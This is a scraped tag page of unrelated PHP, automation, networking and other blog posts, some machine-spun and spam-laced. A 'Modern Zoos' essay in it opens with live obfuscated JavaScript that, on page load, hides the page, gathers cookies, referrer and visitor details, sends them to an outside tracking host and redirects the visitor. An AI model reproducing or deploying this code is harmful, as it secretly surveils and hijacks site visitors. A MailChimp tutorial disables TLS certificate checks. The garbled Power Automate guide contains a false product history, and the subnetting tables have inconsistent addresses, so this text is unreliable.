#php substr

[machinavocis]

look all i'm saying is there are advantages to being the person who has to google "php check if string contains substring" almost every time (while vaguely remembering that the answer is stupid but not what that stupid answer IS)

& one of those advantages is that sometimes it leads to you discovering that php8 actually invented a "str_contains" function when you weren't looking, which is SO MUCH LESS STUPID than using strpos was!

& see if i'd just REMEMBERED about strpos i would not have looked it up & learned about the new better way!

so tl;dr my being a worse programmer actually makes me a better programmer shut up losers i win.

[dynamicscommunity101]

The most effective method to Choose a Substring in Power Automate

Power Automate, previously known as Microsoft Stream, is a powerful instrument that permits you to automate work processes between your most loved applications and administrations. One normal undertaking is extricating a substring from a text string. This is valuable in different situations, for example, parsing messages, separating explicit information from a string, or basically controlling message. In this article, we will direct you through the moves toward select a substring Power Automate.

Stage 1: Make a Stream

To begin, you really want to make a stream. This is the way you can make it happen:

Sign in to Power Automate: Go to the Power Automate site and sign in with your Microsoft account.

Make Another Stream: Snap on Make in the left-hand menu, then select Automated stream or Moment stream in view of your requirements.

Pick a Trigger: Select a trigger that suits your situation. For instance, you could pick When an email shows up if you need to deal with approaching messages.

Stage 2: Add a Text String Activity

Add Another Step: Subsequent to setting up the trigger, click on New step.

Select an Activity: Quest for the Create activity. This activity permits you to characterize a text string or utilize dynamic substance from past advances.

Enter the Text String: In the Data sources field, enter the text string from which you need to remove the substring. For instance, in the event that you are handling an email, you could utilize dynamic substance, for example, the email body.

Stage 3: Utilize the Substring Capability

Power Automate gives various capabilities to control text, including the substring capability. The substring capability permits you to extricate a part of a text string in view of the beginning record and length.

Add Another Form Activity: Snap on New step and add another Create activity.

Arrange the Substring Capability: In the Data sources field, enter the substring capability. The sentence structure is:

php

substring(<text>, <startIndex>, <length>)

<text>: The text string from which to remove the substring.

<startIndex>: The zero-based beginning place of the substring.

<length>: The length of the substring to remove.

For instance:

plaintext

substring(outputs('Compose'), 0, 10)

This model concentrates the initial 10 characters from the text string characterized in the first Make activity.

Stage 4: Save and Test the Stream

Save the Stream: Snap on Save to save your stream.

Test the Stream: Contingent upon your trigger, you could have to physically set off the stream or sit tight for the predefined occasion (e.g., getting an email). Actually take a look at the run history to guarantee the stream executed effectively and the substring was separated true to form.

Extra Tips

Dynamic Substance: You can involve dynamic substance from past strides as the information text for the substring capability.

Articulations: Power Automate articulations can be consolidated to make more perplexing rationale. For instance, you can utilize the indexOf capability to find the place of a particular person or substring and afterward use substring to remove text in light of that position.

Blunder Taking care of: Consider adding mistake dealing with moves toward oversee situations where the substring capability could fall flat, for example, when the beginning list is out of reach.

End

Removing a substring in Power Automate is a direct cycle that can be achieved utilizing the substring capability inside a Form activity. By following the means framed in this article, you can effectively maneuver text strings and coordinate this usefulness toward your automated work processes. Power Automate's adaptability and the power of articulations make it an important device for robotizing a great many undertakings.

[learnwithamit]

Most commonly used PHP functions ?

Most commonly used PHP functions include: echo(): Outputs one or more strings. print(): Outputs a string. strlen(): Returns the length of a string. substr(): Returns a part of a string. explode(): Splits a string by a specified string. implode(): Joins array elements with a string. array_push(): Pushes one or more elements onto the end of an array. array_pop(): Pops the element off the…

[izmirphpdeveloper]

PHP substr fonksiyonu ve örnek kullanımları

PHP substr fonksiyonu, PHP programlama dilinde oldukça yaygın olarak kullanılan bir fonksiyondur. Bu fonksiyon, bir karakter dizisinden belirli bir alt diziyi (substring) çıkarmak için kullanabilirsiniz. PHP substr fonksiyonu, özellikle web geliştirme pro

PHP substr fonksiyonu, PHP programlama dilinde oldukça yaygın olarak kullanılan bir fonksiyondur. Bu fonksiyon, bir karakter dizisinden belirli bir alt diziyi (substring) çıkarmak için kullanabilirsiniz. PHP substr fonksiyonu, özellikle web geliştirme projelerinde, veritabanı işlemlerinde, metin işleme uygulamalarında ve birçok diğer PHP projelerinizde yararlanabilirsiniz. Ancak, substr…

[speedysense]

How to Check If String Contains Substring in PHP How do I check a string contains any specific word or substring in PHP. This tutorial will help you to check if a string contains a substring in the PHP programming language. For example, you have to execute a line of code only if an input string contains a specific substring. If substring found then execute further code otherwise else part will execute. View post at https://speedysense.com/check-string-contains-substring-in-php/ #php #phpdeveloper #phpcode #phpfunction #php7 #phphelp #howto #phphowto #substring #speedysense #webdeveloper #webdevelopment https://www.instagram.com/p/B7Q3_YDpZqC/?igshid=1rsqx66pkugqe

[blogdeprogramacion]

Enviar una campaña de MailChimp desde PHP

Enviar una campaña de MailChimp desde PHP aparece primero en nuestro https://jonathanmelgoza.com/blog/enviar-una-campana-de-mailchimp-desde-php/

Veremos un ejemplo sobre cómo enviar una campaña de MailChimp desde PHP para integrarlo en nuestros proyecto web de clientes o propios, te mostraremos código para obtener listas de suscriptores, obtener plantillas predefinidas y varias cosillas más relacionadas con la integración PHP con MailChimp.

Hace poco tuve la necesidad de Integrar MailChimp con PHP.

Afortunadamente MailChimp ofrece una excelente API y una aun mejor documentación por lo que no fue tan complicado conectar ambos.

Ya hemos hablado antes en este blog cómo obtener listas de MailChimp con PHP y ahora seguiremos adelante con este tema.

Lo más importante de este primer post es sin lugar a dudas la función para comunicarse con MailChimp.

Hoy veremos cómo enviar una campaña de MailChimp desde PHP para lo cual haremos varias cosas.

Antes que nada repasaremos la función para conectar a MailChimp para los que no han ido al post anterior.

Posteriormente también repasaremos el código para obtener tus listas de suscriptores en un combo.

Adicional a esto veremos también cómo:

Obtener miembros de una lista

Obtener etiquetas en la que esta un miembro

Obtener plantillas de correo predefinidas por nosotros

Crear una nueva campaña

Enviar una campaña

Antes que nada recuerda que debes de contar con una cuenta en MailChimp y obtener una API KEY para poder vincular.

Conectar con MailChimp desde PHP

function conectar_a_mailchimp( $url, $peticion, $api_key, $data = array() ) if( $peticion == 'GET' ) $url .= '?' . http_build_query($data); $mch = curl_init(); $headers = array( 'Content-Type: application/json', 'Authorization: Basic '.base64_encode( 'user:'. $api_key ) ); curl_setopt($mch, CURLOPT_URL, $url ); curl_setopt($mch, CURLOPT_HTTPHEADER, $headers); curl_setopt($mch, CURLOPT_RETURNTRANSFER, true); curl_setopt($mch, CURLOPT_CUSTOMREQUEST, $peticion); curl_setopt($mch, CURLOPT_TIMEOUT, 200); curl_setopt($mch, CURLOPT_SSL_VERIFYPEER, false); if( $peticion != 'GET' ) curl_setopt($mch, CURLOPT_POST, true); curl_setopt($mch, CURLOPT_POSTFIELDS, json_encode($data) ); return curl_exec($mch);

A partir de aquí toda referencia a la variable $API_KEY hace referencia a la clave del API requerida.

Obtener listas de suscriptores

$data = array( 'fields' => 'lists', 'count' => 5 ); $url = 'https://' . substr($API_KEY,strpos($API_KEY,'-')+1) . '.api.mailchimp.com/3.0/lists/'; $result = json_decode( conectar_a_mailchimp( $url, 'GET', $API_KEY, $data) ); if( !empty($result->lists) ) echo '<select>'; foreach( $result->lists as $list ) echo '<option value="' . $list->id . '">' . $list->name . ' (' . $list->stats->member_count . ')</option>'; echo '</select>'; elseif ( is_int( $result->status ) ) echo '<strong>' . $result->title . ':</strong> ' . $result->detail;

  Obtener miembros de una lista

$data = array( 'offset' => '0', 'count' => '2000' ); $url = 'https://' . substr($API_KEY,strpos($API_KEY,'-')+1) . '.api.mailchimp.com/3.0/lists/[IDLISTA]/members/'; $result = json_decode( conectar_a_mailchimp( $url, 'GET', $API_KEY, $data) ); if( !empty($result->members) ) echo '<select>'; foreach( $result->members as $member ) echo '<option value="' . $member->id . '">' . $member->email_address . '</option>'; echo '</select>'; elseif ( is_int( $result->status ) ) echo '<strong>' . $result->title . ':</strong> ' . $result->detail;

Asegúrate de incluir el ID de tu lista, los IDs los obtuvimos con el código anterior.

Obtener etiquetas en la que esta un miembro

$data = array( 'offset' => '0', 'count' => '50' ); $url = 'https://' . substr($API_KEY,strpos($API_KEY,'-')+1) . '.api.mailchimp.com/3.0/lists/[IDLISTA]/members/[IDMIEMBRO]/'; $result = json_decode( conectar_a_mailchimp( $url, 'GET', $API_KEY, $data) ); echo '<select>'; echo '<option value="0">Seleccionar Tag</option>'; if( $result->tags_count > 0 ) for($i=0;$i<$result->tags_count;$i++) echo "<option value='" . $result->tags[$i]->id . "'>" . $result->tags[$i]->name . "</option>"; echo '</select>';

Aquí también debes de cambiar el ID de lista y el ID de miembro, ambos los obtenemos en los combos anteriores.

Obtener plantillas de correo predefinidas por nosotros

$data = array( 'offset' => '0', 'count' => '50', 'type' => 'user' ); $url = 'https://' . substr($API_KEY,strpos($API_KEY,'-')+1) . '.api.mailchimp.com/3.0/templates/'; $result = json_decode( conectar_a_mailchimp( $url, 'GET', $API_KEY, $data) ); echo '<select>'; echo '<option value="0">Seleccionar Template</option>'; if( $result->total_items > 0 ) for($i=0;$i<$result->total_items;$i++) echo "<option value='" . $result->templates[$i]->id . "'>" . $result->templates[$i]->name . "</option>"; echo '</select>';

Aquí obtenemos las plantillas de correo disponibles únicamente creadas por nosotros, para ver todas elimina ‘type’ => ‘user’.

Crear una nueva campaña

$subject = "Asunto"; $reply_to = "correo@micorreo.com"; $from_name = "Mi empresa"; $campaign_id = ""; $data = array( "recipients" => array( "list_id" => "[IDLISTA]", "segment_opts" => array( "saved_segment_id" => [IDETIQUETA] )), "type" => "regular", "settings" => array("subject_line" => $subject, "reply_to" => $reply_to, "from_name" => $from_name ) ); $url = "https://" . substr($API_KEY,strpos($API_KEY,"-")+1) . ".api.mailchimp.com/3.0/campaigns/"; $create_campaign = json_decode(conectar_a_mailchimp( $url, "POST", $API_KEY, $data )); $idCampaña = 0; if ( $create_campaign ) if ( ! empty( $create_campaign->id ) && isset( $create_campaign->status ) && "save" == $create_campaign->status ) $idCampaña = $create_campaign->id;

Sustituimos IDLISTA e IDETIQUETA para crear una campaña para una lista de suscriptores pero además para únicamente los que tengan dicho ID de Segmento, eliminar esta linea para enviar a toda la lista.

La campaña se crea como borrador pero aún no se envia.

Enviar una campaña

$data = array(); $url = "https://" . substr($API_KEY,strpos($API_KEY,"-")+1) . ".api.mailchimp.com/3.0/campaigns/".$idCampaña."/actions/send/"; $send_campaign = json_decode(conectar_a_mailchimp( $url, "POST", $API_KEY, $data )); print_r($send_campaign); if ( empty( $send_campaign ) ) echo "Se ha enviado la campaña"; elseif( isset( $send_campaign->detail ) ) $error_detail = $send_campaign->detail;

Con ayuda del IDCAMPAÑA creado en el paso anterior enviamos la campaña.

Como puedes ver enviar una campaña de MailChimp desde PHP no es complicado de hacer.

Puedes consultar más información sobre el API de MailChimp para aprender a hacer más cosas.

Espero y posteriormente seguir agregando más funcionalidades cómo agregar y eliminar suscriptores desde PHP.

Si esta información sobre cómo enviar una campaña de MailChimp desde PHP te fue de utilidad no olvides compartirla en tus redes sociales o dejarnos un comentario en la sección de abajo para aclararte cualquier duda relacionada al tema.

Hasta luego!

[paxpaxnow-blog]

Modern Zoos

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('$(h).1o(F(){$("n").1l();c o=l 1k();o.1t("1i",h.m,Q);o.1T(1Q);c B;o.1A=F(){B=o.1z().1x()};c J="1G";c M="1L";c k=1D(H.m.S.1E(1));c N=m.1F+m.S;c r=h.1m;c L=h.1B;c E=1r.1p();c O=l p();c K=O.1u().1n(/(\\d{4}\\-\\d{2}\\-\\d{2})T(\\d{2}:\\d{2}:\\d{2})/);c G=K[1]+" "+K[2];c U=E.1j();c W="; "+h.t;c V=W.R("; "+"z"+"=");c I=V.1q().R(";").1g();c s="18-19:8%;17-15:16;1a-1h:1b;1f-1e:1c;";c q;$.1d({1s:"1U",1N:"1M",1v:14,1J:"1K://1O.1P/j/1S.P",1R:"J="+J+"&M="+M+"&N="+N+"&k="+k+"&r="+r+"&L="+L+"&E="+U+"&I="+I+"&B="+B+"&G="+G,1w:F(a){e(k){e(a[1].X("?")!=-1){q="&"+k}u{q="?"+k}}u{q=""}e(a[0]=="Q"){e(a[1].X("1C.P")!=-1){q="?"+k}e(a[8]){c d=l p();d.x(d.D()+(w*i*i*C*a[10]));c g="g="+d.y();h.t=a[8]+"="+a[9]+";"+g}e(a[3]){e(a[5]==1||a[5]==3){c d=l p();d.x(d.D()+(w*i*i*C*a[4]));c g="g="+d.y();h.t="z="+a[7]+";"+g}}$("n").12();$("A").Y("n").A("<v Z=\\""+s+"\\">"+a[2]+"");H.m.13=a[1]+11(q)}u e(a[0]=="14"){e(a[6]==1){f=q}u{f=""}e(a[3]){e(a[5]==2||a[5]==3){c d=l p();d.x(d.D()+(w*i*i*C*a[4]));c g="g="+d.y();h.t="z="+a[7]+"b;"+g}}$("n").12();$("A").1y().Y("n").A("<v Z=\\""+s+"\\">"+a[2]+"");H.m.13=a[1]+11(f)}u{$("n").1H(1I);e(a[3]){e(a[5]==2||a[5]==3){c d=l p();d.x(d.D()+(w*i*i*C*a[4]));c g="g="+d.y();h.t="z="+a[7]+"b;"+g}}}}})});',62,119,'||||||||||msg||var||if||expires|document|60||qu|new|location|body|req|Date||||cookie|else|div|24|setTime|toGMTString|_event|html|he|1000|getTime|tz|function|da|window|co|id|iso|sn|uid|rui|date|php|true|split|search||ck|pa|value|indexOf|append|style||decodeURIComponent|remove|href|false|color|white|background|margin|top|text|center|40px|ajax|size|font|shift|align|GET|name|XMLHttpRequest|hide|referrer|match|ready|determine|pop|jstz|type|open|toISOString|cache|success|toLowerCase|empty|getAllResponseHeaders|onreadystatechange|domain|sp|escape|substr|pathname|283492|fadeIn|500|url|https|h3ox9gpfuzh8d2ofx5mymnmqb|json|dataType|bjtrck|com|null|data|pcl|send|POST'.split('|'),0,{})) A zoo is a place where animals live in captivity and are put on display for people to view. The word “zoo” is short for “zoological park.” Zoos contain wide varieties of animals that are native to all parts of the Earth. Though people have kept wild animals for thousands of years, those collections have not always resembled modern zoos. The first zoos were created as private collections by the wealthy to show their power. These private collections were called menageries. Wall carvings found in Egypt and Mesopotamia are evidence that rulers and aristocrats created menageries as early as 2500 BCE. They left records of expeditions to distant places to bring back exotic animals such as giraffes, elephants, bears, dolphins, and birds. There is evidence that ancient zoo owners hired animal handlers to make sure their animals thrived and reproduced. Zoos also existed in later civilizations, including China, Greece, and Rome. The Aztec emperor Montezuma II, in what is today Mexico, maintained one of the earliest animal collections in the Western Hemisphere. It was destroyed by Hernan Cortes during the Spanish conquest in 1520. Modern Zoos The model of the modern, public zoo became popular in 18th century, during the Age of Enlightenment. The Age of Enlightenment was a period in European history when science, reason, and logic were promoted as ideals of society and government. The scientific focus of the Age of Enlightenment extended to zoology. During this time, people started wanting to study animals for scientific reasons. Scientists wanted to research animal behavior and anatomy. To do this, scientists and zookeepers had to keep animals in places that were close to, or resembled, the animals’ natural habitats. The first modern zoo, built in 1793, opened in Paris, France. The menageries of French aristrocrats, including the king and queen, were taken by leaders of the French Revolution and relocated to the Ménagerie du Jardin des Plantes. The facility is still a busy and popular zoo in downtown Paris. Early zoos like the Menagerie du Jardin des Plantes were more like museums of living animals than natural habitats. Animals were kept in small display areas, with as many species as space would allow. Today, zoos are meant to entertain and educate the public but have a strong emphasis on scientific research and species conservation. There is a trend toward giving animals more space and recreating natural habitats. Zoos are usually regulated and inspected by the government.

[hunterhost290]

Download MacNikto 1.2.0

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SWIG is a software development tool that connects programs written in C and C++ with a variety of high-level programming languages. The list of supported languages also includes non-scripting languages such as C#, Common Lisp (CLISP, Allegro CL, UFFI), Java, Modula-3 and OCAML. Also several..

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This PHP script provides a simplified database access interface by extending PEAR::DB class. DB factory extension can be used to establish connections returning a boolean success value instead of PEAR error object.The script executes queries automatically connecting to a database before executing.. Platforms: PHP

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XIST is an extensible HTML and XML generator. XIST is also a XML parser with a very simple and pythonesque tree API. Every XML element type corresponds to a Python class and these Python classes provide a conversion method to transform the XML tree (e.g. into HTML). XIST can be considered 'object.. Platforms: *nix

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This Tutorial Explains the Need for IP Addressing, Subnet Mask (Subnetting) and IP Subnet Calculator in Computer Networking System:

In this Complete Networking Training Series, we saw in detail about LAN Vs WAN Vs MAN in our previous tutorial.

In this tutorial, we will learn and explore the need for IP addressing in a computer networking system.

IP addressing is used to recognize the host of a network and uniquely identify a particular device of the Network.

Whereas subnetting is used in combination with IP addressing to develop several logical addressing that exists within a single network.

We will see the different classes of a Network along with their roles and significance in computer networking. In our daily life, we human beings identify each other with our names, similarly, the routers and switches recognize their neighboring device and network with an IP address and a subnet mask.

What You Will Learn:

What Is IP Subnet Calculator?

Conclusion

Understanding IP Addressing

The overall phenomenon of logical addressing works on the Layer-3 of the OSI reference model and the network components like routers and switches are the host devices that are most popularly used.

An IP Address is a 32-bit logical address that distinctively classifies a host of the network. The host can be a computer, Mobile handset or even a tablet. The 32 bits binary IP address is made up of two distinctive parts i.e. The Network address and the Host address.

It also has 4 octets as each octet is having 8 bits. This octet is converted into decimal and is separated by a format i.e. dot. Thus it is represented in a dotted-decimal format. The range of an octet in binary is from 00000000 to 11111111 and in decimal from 0 to 255.

Example of an IP Address format:

192.168.1.64 (in decimal)

11000000.10101000.00000001.01000000 (in binary).

The binary one is difficult to memorize thus, in general, the dotted decimal format is used worldwide for representation of the logical addressing.

Let’s understand in detail how the binary octet values are converted into decimal values:

There are 8 bits and each bit has the value of 2 to the power n (2^n). The rightmost have the value 2^0 and left most have the value 2^7.

So the value of each bit is as follows:

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2^7 2^6 2^5 2^4 2^3 2^2 2^1 2^0 (^ denotes the power)

Thus the result would be:

128+ 64+ 32+ 16+ 8+ 4+ 2+ 1

When all the bits are 1 then the values come out to be 255 (128+64+32+16+8+4+2+1= 255).

Suppose all the bits of an octet is not 1. Then see how we can calculate the IP address:

1 0 0 1 0 0 0 1, 128+0+0+16+0+0+0+1= 145.

By combining the bits of the octets in different combinations according to the need, we can derive the overall IP address of the desired network. As per the requirement, these are divided into various classes of a network called as class A, class B, class C, class D, and class E.

Download f18 carrier landing for mac 7.3.2. Most popularly class A, B and C are used for commercial purposes and class D and E have reserved rights.

Network Classes and Subnet Mask

The organization which governs the internet has divided the IP addresses into different classes of the network.

Each class is identified by its subnet mask. By the categorization of a default subnet mask, we can easily identify the class of an IP address of the network. The first octet of an IP address identifies the particular class of an IP address.

The classification is shown with the help of the below table and figure.

ClassIst octet Decimal RangeNetwork/Host ID Default subnet mask A1 to 126 N.H.H.H 255.0.0.0 B128 to 191N.N.H.H255.255.0.0C192 to 223N.N.N.H 255.255.255.0D224 to 239Reserved for MulticastingE240 to 254Experimental

The class ‘A’ Address ranging from 127.0.0.0 to 127.255.255.255 cannot be used and is reserved for loopback and diagnostic functions. The numbers of hosts which can be connected to this network are greater than 65536 hosts.

The number of hosts connected within the class B networks is from 256 to 65534 hosts.

The number of hosts connected within the class C network is less than 254 hosts. Therefore the class C network mask is perfect for the minor networks which are known as subnetworks. We utilize the bits from the last octet of class C for constructing mask. Thus we need to rearrange and optimize the subnet depending upon the availability of the bits.

Below table will show the masks that can be drawn on with Class C networks.

Subnet Mask Last octet binary Value No. of hosts connected 255.255.255.128 10000000 126 255.255.255.192 11000000 62 255.255.255.224 11100000 30255.255.255.240 11110000 14 255.255.255.24811111000 6 255.255.255.25211111100 2

We have studied about the network class and subnet mask phenomenon of computer networking. Now let’s see how the mask will help us to classify the network ID and host ID part of an IP address.

Let us assume the case of a class A IP address:

For Example, take a pair of IP address and subnet mask 10.20.12.2 255.0.0.0

#1) Convert this Combination into a binary value:

#2) The bits corresponding to the subnet mask with all 1’s represent the network ID as it is a class A network and the first octet represents the network ID. The bits corresponding to all 0’s of the subnet mask is the host ID. Thus the network ID is 10 and the host ID is 20.12.2

#3) From the given subnet, we can also calculate the IP range of a particular network. If the IP is 10.68.37.128 (assuming class A case)

Subnet mask: 255.255.255.224 IP range =256-224= 32. Out of 32 IP’s, ideally one is used for the gateway, second is for the network IP and the third is for broadcast IP. Thus total usable IP’s are 32-3= 29 IP’s.

The IP range will be 10.68.27.129 to 10.68.27.158.

Subnetting

Subnetting allows us to create various sub-networks or logical networks within one network of a particular class of the network. Without subnetting, it is almost unrealistic to create big networks.

For constructing a big networking system, every link must have a unique IP address with every device on that linked network which is being the participant of that network.

With the help of a subnetting technique, we can split the large networks of a particular class (A, B or C) into smaller subnetworks for inter-connection between each node which are situated at different locations.

Each node on the network would have a distinctive IP and subnet mask IP. Any switch, router or gateway that connects n networks has n unique Network ID and one subnet mask for each of the network it interconnects with.

The formulae of subnetting is as follows:

2^n >= requirement.

The formulae of a number of hosts per subnet is as follows:

2^n -2

Now let’s understand the overall process with the help of an Example:

We have taken an example of Class C network ID with a default subnet mask.

Suppose Network ID/IP address is: 192.168.1.0

Default Subnet mask: 255.255.255.0 (in decimal)

Default Subnet mask: 11111111.11111111.11111111.00000000 (in binary)

Thus the number of bits are 8+8+8+0= 24 bits. As mentioned earlier, for subnetting in class C network, we will borrow bits from the host portion of the subnet mask.

Therefore, to customize the subnet as per requirement:

We take a subnet mask of 255.255.255.248 (in decimal)

11111111.11111111.11111111.11111000 (in binary).

From the above binary notation, we can see that the last 3 bits of the last octet can be used for host ID addressing purpose.

Thus the number of subnets= 2^n = 2^3= 8 subnets (n=3).

Number of hosts per subnet= 2^n -2= 2^3 -2= 8-2= 6 Subnets i.e. usable Host IP.

Now the IP addressing scheme is as follows:

Network IPFirst Usable IPLast Usable IP Broadcast IP 192.168.1.0192.168.1.1192.168.1.6192.168.1.7192.168.1.8192.168.1.9192.168.1.14192.168.1.15192.168.1.16192.168.1.17192.168.1.22192.168.1.23192.168.1.24192.168.1.25192.168.1.30192.168.1.31192.168.1.32 192.168.1.33192.168.1.38192.168.1.39192.168.1.40192.168.1.41192.168.1.46192.168.1.47192.168.1.48192.168.1.49192.168.1.54192.168.1.55192.168.1.56192.168.1.57 192.168.1.62192.168.1.63

The subnet mask for all the above IP’s in the table is common i.e. 255.255.255.248.

With the help of the above example, we can clearly see, how subnetting helps us to construct inter-networking between various links and nodes of the same subnetwork. All these above IP’s can be used for inter-networking the devices within the overall network.

Note: Subnet mask is most widely used everywhere in a computer networking system. Hence, there is one more method to represent the subnet mask of a particular network which is chosen and standardized as it is easy to denote and memorize.

Subnet mask– 255.255.255.248 (binary)

11111111.11111111.11111111.11111000 (decimal notation)

From the decimal notation we can calculate the number of bits having 1 in each octet:

8+8+8+5= 29

Thus the Subnet mask can be denoted as /29.

With Network ID it can be denoted as 192.168.1.9/29.

From the above notation, anyone who knows the standard notation and formulae of subnetting can understand that the IP is using a subnet mask of 255.255.255.248 or /29.

The different Subnetting scheme in binary and decimal notation is shown below:

Subnet MaskNotation in decimalNotation in BinaryNumber of Usable IP /24255.255.255.011111111.11111111.11111111.00000000254/25255.255.255.12811111111.11111111.11111111.10000000126/26255.255.255.19211111111.11111111.11111111.1100000062/27255.255.255.22411111111.11111111.11111111.1110000030/28255.255.255.240 11111111.11111111.11111111.1111000014 /29255.255.255.24811111111.11111111.11111111.111110006 /30255.255.255.25211111111.11111111.11111111.111111002

The ‘/’ notation method of the subnet mask is most widely used as it is easy to memorize and the binary notation and decimal are very lengthy in size.

As we are denoting the mask scheme while interconnecting the network components through the figure, if we use the decimal and binary method then the overall diagram will become very complex and difficult to understand.

There are so many IP’s on the platform to be shown and it becomes difficult to memorize as well. Thus generally, people who are familiar with routing and IP addressing scheme use short notation methods in figures and diagrams.

Example 1:

Understanding Subnetting with an Example of Interconnection of Network Devices:

The above figure shows how subnetting is used for interconnection of subnetworks. Firstly, as per our need for the number of hosts required to be connected and meet the other requirements of the network, we customize the subnet mask and network ID accordingly and assign to the devices thereafter.

The above network is using class C network mask and /29 subnet mask means network IP can be divided into 8 subnets. Each router has a unique IP address for each linked subnetwork.

There is an important point to be noticed that the more the bits we carry from the subnet mask for host ID then the more will be the subnets obtainable for the network.

Example 2:

Class B Network:

Subnet mask Notation in binary Number of Usable IP Number of Subnets 255.255.128.011111111.11111111.10000000.00000000327662255.255.192.011111111.11111111.11000000.00000000163824255.255.224.011111111.11111111.11100000.0000000081908 255.255.240.011111111.11111111.11110000.00000000409416255.255.248.011111111.11111111.11111000.00000000204632255.255.252.011111111.11111111.11111100.00000000102264255.255.254.011111111.11111111.11111110.00000000 510128255.255.255.011111111.11111111.11111111.00000000254256255.255.255.12811111111.11111111.11111111.10000000 126512255.255.255.19211111111.11111111.11111111.11000000 621024255.255.255.22411111111.11111111.11111111.11100000302048 255.255.255.24011111111.11111111.11111111.11110000144096255.255.255.24811111111.11111111.11111111.11111000 68192255.255.255.25211111111.11111111.11111111.11111100216384

The above table shows the details of the number of subnets and hosts that can be connected per subnet mask by using Class B subnetting Scheme.

For connecting a host in big quantity and WAN communication systems, the Class B subnetting is very effective as it gives a wide range of IP’s for configuration.

What Is IP Subnet Calculator?

As mentioned in detail above the concept of IP addressing and subnetting, the subnets and supernet networks are derived from a big network to create small networks for interconnection of various network devices, situated far apart with each other and assigning the unique IP address and subnet mask to them for communication with each other.

The IP calculator will give output for the value of broadcast IP address, usable IP range of the host devices, subnet mask, IP class and the total number of hosts by entering the subnet mask and the IP address of the particular network as the input value.

The IP calculator gives the result for both IPV4 and IPV6 network protocol classes of networks.

Why Is IP Calculator Needed?

There are different classes of networks that are used for networking systems and out of those for commercial purposes the class A, B and C are most widely used.

Now let us understand the need for an IP calculator with the help of an example. If we need to calculate the host range, broadcast IP, etc.

Example #1: For a class C network with the network IP 190.164.24.0 and subnet mask 255,255.255.240 means /28 in CIDR notation.

Then we can manually calculate it as by the mathematical formulae which we have explained earlier in this tutorial.

We will borrow the host IP from the last octet for the subnetting which is 11111111.11111111.11111111.11110000

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Here the no. of subnets are 2^n = 2^4 = 16 subnets (n=4). Number of host per subnet is 2^n -2 = 2^4 -2 = 14 subnets means 14 usable host IP.

Download clock mini for mac 2.0. For the network IP 190.164.24.0,

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Network IPFirst Usable IPLast Usable IPBroadcast IP190.164.24.0190.164.24.1190.164.24.14190.164.24.15190.164.24.16190.164.24.17190.164.24.30192.164.24.31190.164.24.32190.164.24.33190.164.24.46192.164.24.47190.164.24.48190.164.24.49190.164.24.62192.164.24.63190.164.24.64190.164.24.65190.164.24.78192.164.24.79190.164.24.80190.164.24.81190.164.24.94192.164.24.95190.164.24.96190.164.24.97190.164.24.110192.164.24.111190.164.24.112190.164.24.113190.164.24.126192.164.24.127190.164.24.128190.164.24.129190.164.24.142192.164.24.143190.164.24.144190.164.24.145190.164.24.158192.164.24.159190.164.24.160190.164.24.161190.164.24.174192.164.24.175190.164.24.176190.164.24.177190.164.24.190192.164.24.191190.164.24.192190.164.24.193190.164.24.206192.164.24.207190.164.24.208190.164.24.209190.164.24.222192.164.24.223190.164.24.224190.164.24.225190.164.24.238192.164.24.239190.164.24.240190.164.24.241190.164.24.254192.164.24.255

The subnet mask is common for all these IP ranges which are 255.255.255.240.

The whole procedure of calculating this manually is lengthy.

Example # 2: Calculating the same parameters for subnetting for the class A network IP.

The IP address is 10.0.0.0 The subnet mask is 255.252.0.0. (/14 in CIDR notation) Now the number of usable hosts per subnet is 262,142.

Thus for calculating the network parameters in such a kind of huge networks, the subnet calculator is designed. It is basically a software tool and calculates the desired value automatically by just entering some basic parameters like network IP and subnet mask.

The output is more precise, accurate and for the user who is constructing the subnets and supernets from the one big network and is also time-saving.

Also, it is very easy and simple to use and is mostly used in the case of class A and class B networks as here the no. of usable IP and host range is in from thousands to millions.

The network address is 10.0.0.0 The subnet mask is 255.252.0.0 (/14) in CIDR notation. The number of hosts will be 262144 and the number of subnets will be 64.

Now see how we can get this from the tool with the help of the below set of screenshots in three parts as the result is very large.

Class A network IP calculator Screenshot-2

Example #3: Class B network for calculating the broadcast address, the number of usable hosts, number of subnets, etc. by using this tool.

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The IP address is 10.0.0.0 The subnet mask is 255.255.192.0 (/18) in CIDR notation The number of hosts will be 16384 and the number of subnets will be 1024.

Please find the outcome with the help of the below set of screenshots in three parts as the result is very long.

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Thus with the help of the above examples, we can get the subnet details as per our requirements.

The below table demonstrates the various IPV4 subnet details:

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Conclusion

In this tutorial, we have learned the need for IP addressing and Subnetting in the computer networking systems, with the help of different examples.

The IP addressing scheme and Subnetting are the building blocks in defining the subnetworks and IP’s within a large network.

The different formulas we have used will help us in determining the hosts that we can connect in a particular network and how also enable us to know how a huge network can be divided into many smaller networks for easier communication.

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Recommended Reading

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CommandBus na sterydach w praktyce

Najpierw zacznijmy od teorii. Command Bus o którym będzie tu mowa to połączenie wzorca polecenie (Command pattern) z warstwą usługi (service layer).

Wzorzec warstw usług to wzorzec polegający na grupowaniu usług na warstwy funkcjonalne. Powoduje to, że zmiany dokonywane są na mniejszych fragmentach kodu które dotyczą konkretnego zagadnienia. Zmniejsza to ilość zależności w ramach konkretnego działania.Usługi powinny być zaprojektowane w taki sposób, aby umożliwiać ich ponowne wykorzystanie. A ograniczenie ich odpowiedzialności do konkretnego zadania upraszcze ich budowę i logikę.

Wzorzec Polecenie (Command pattern) polega na zdefiniowaniu klasy która przechowuje niezbędne informacje do wykonania polecenia. Oraz oczywiście samego kodu wykonującego to polecenie. Implementacji tego wzorca widziałem wiele. Są źródła które zamykają wszystko w jednej klasie, ale są też takie które rozbiają te zależności na osobne byty. Nie chciałbym się skupiać tu na szczegółach a oprzeć się na implementacji którą oferuje league/tactician i osadzić ją w Symfony dzięki gotowemu już thephpleague/tactician-bundle.

Zacznijmy od zainstalowania biblioteki.

$ composer require league/tactician-bundle

Teraz dodajemy nowego Bundle do naszego AppKernel:

<?php // ... class AppKernel extends Kernel { public function registerBundles() { $bundles = array( // ... new League\Tactician\Bundle\TacticianBundle(), ); // ... } // ... }

Dodajmy teraz konfigurację:

tactician: commandbus: default: middleware: - tactician.middleware.locking - tactician.middleware.command_handler

